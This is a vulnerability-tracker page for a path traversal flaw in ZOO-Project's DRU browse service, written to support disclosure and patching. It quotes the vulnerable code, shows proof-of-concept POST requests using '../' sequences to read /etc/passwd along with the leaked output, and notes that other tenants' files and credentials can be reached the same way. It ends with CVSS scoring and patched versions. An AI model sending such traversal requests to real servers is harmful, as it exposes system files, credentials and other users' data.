CVE Watchtower

CVE-2026-104863ZOO-Project Path Traversal

NVD

Vulnerability Summary

Summary The DRU `browse` operation opens a file whose path is built by directly concatenating a client-supplied WPS input value with no traversal sanitization, and returns the raw file content in the response. Confirmed live: reads `/etc/passwd` through the OGC API Processes execution endpoint. Details `zoo-project/zoo-services/utils/security/dru/security_service.py:163-171`: ```python def browse(conf,inputs,outputs): for key in conf["renv"]: if key.count("SERVICES_NAMESPACE")!=0: f=open(conf["servicesNamespace"]["path"]+"/"+conf["renv"][key]+"/temp/"+inputs["directory"]["value"],"r", encoding="utf-8") ... outputs["result"]["value"]=f.read() return zoo.SERVICE_SUCCEEDED ``` `inputs["directory"]["value"]` is a client-supplied `LiteralData` string (`browse.zcfg`) concatenated straight into the file path with no `..`/`/` filtering and no `os.path.realpath`-based containment check. PoC Setup: `docker/dru` deployment, `admin`- namespace session. Note on test-environment provisioning only: this sample deployment's `[servicesNamespace] required_files` list in `main.cfg` doesn't include `browse.zcfg`, so it isn't auto-provisioned into a freshly-created tenant directory (`/opt/zooservices_namespaces/<namespace>/`) the way `DeployProcess.zcfg`/`security_service.py`/etc. are a sample-config completeness gap, not a mitigation. `browse.zcfg` was copied from the global `/usr/lib/cgi-bin/` into the namespace directory to reach it via REST routing, replicating what a complete `required_files` list would already provision by default. Neither `browse` nor `security_service.py` were modified. 1. Baseline - a nonexistent filename, to reveal the intended base directory: ``` POST /admin/ogc-api/processes/browse/execution {"inputs": {"directory": "nonexistent.log"}} -> HTTP 500 {"title":"NoApplicableCode","detail":"TRACE: [Errno 2] No such file or directory: '/opt/zooservices_namespaces/admin/temp/nonexistent.log'\n..."} ``` The stack trace confirms the intended, sandboxed root: `<servicesNamespace.path>/<namespace>/temp/`. 2. Path traversal - escape the sandboxed root and read `/etc/passwd`: ``` POST /admin/ogc-api/processes/browse/execution {"inputs": {"directory": "../../../../../../etc/passwd"}} -> HTTP 200 OK root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ... ``` Full, unmodified contents of `/etc/passwd` returned in the response body. The same `../` traversal reaches any file readable by the web server process, including other tenants' job outputs/status files under sibling namespace directories (`../../otherTenant/temp/<file>`) and, where reachable, server configuration containing database credentials. Impact Disclose local file contents outside the intended sandbox directory, including other tenants' job outputs/status files and, where reachable, server configuration containing database credentials.
Severity Level
MEDIUM(6.5)
Published Date
Jul 28, 2026
Last Modified
Jul 28, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory.
CVSS v3.1 Base Metrics — Score 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityNone
AvailabilityNone

Affected & Patched Versions

Affected Versions
  • ZOO-Project <= main afc0403
Patched Versions
  • ZOO-Project 8b3d76c

What to do

Fix it during your normal patch cycle. No exploitation is confirmed yet.

  1. Check whether you run ZOO-Project and which version.
  2. Update to a patched version listed above, then confirm the new version.

Timeline

  • Jul 28, 2026Published
  • Jul 28, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new ZOO-Project CVEsYou are reading CVE-2026-104863. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Nov 25, 2026 14:00 UTC